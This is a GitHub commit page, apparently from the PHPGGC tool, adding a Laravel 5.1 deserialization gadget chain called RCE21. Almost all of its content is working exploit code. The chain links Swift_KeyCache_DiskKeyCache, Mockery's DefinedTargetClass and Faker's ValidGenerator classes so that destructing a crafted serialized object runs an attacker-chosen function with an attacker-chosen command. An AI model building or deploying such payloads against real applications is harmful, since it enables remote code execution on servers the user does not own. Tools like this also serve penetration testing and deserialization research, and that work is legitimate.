Skip to content

Commit

Permalink
add Laravel/RCE21 5.1.*
Browse files Browse the repository at this point in the history
add Laravel/RCE21 5.1.*
  • Loading branch information
fallingskies22 committed Aug 18, 2024
1 parent de3a613 commit 994a4c2
Show file tree
Hide file tree
Showing 2 changed files with 67 additions and 0 deletions.
21 changes: 21 additions & 0 deletions gadgetchains/Laravel/RCE/21/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
<?php

namespace GadgetChain\Laravel;

class RCE21 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '5.1.*';
public static $vector = '__destruct';
public static $author = 'fallingskies';

public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];

return new \Swift_KeyCache_DiskKeyCache(
$function,
$parameter
);
}
}
46 changes: 46 additions & 0 deletions gadgetchains/Laravel/RCE/21/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
<?php
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($function,$cmd){
$this->generator=new DefaultGenerator($cmd);
$this->maxRetries=9;
$this->validator=$function;
}
}
}

namespace Mockery\Generator{
use Faker\ValidGenerator;
class DefinedTargetClass
{
private $rfc;
public function __construct($function,$cmd)
{
$this->rfc=new ValidGenerator($function,$cmd);
}
}
}

namespace{
use Mockery\Generator\DefinedTargetClass;
class Swift_KeyCache_DiskKeyCache{
private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
private $_path;
public function __construct($function,$cmd){
$this->_path=new DefinedTargetClass($function,$cmd);
}
}
}

?>

0 comments on commit 994a4c2

Please sign in to comment.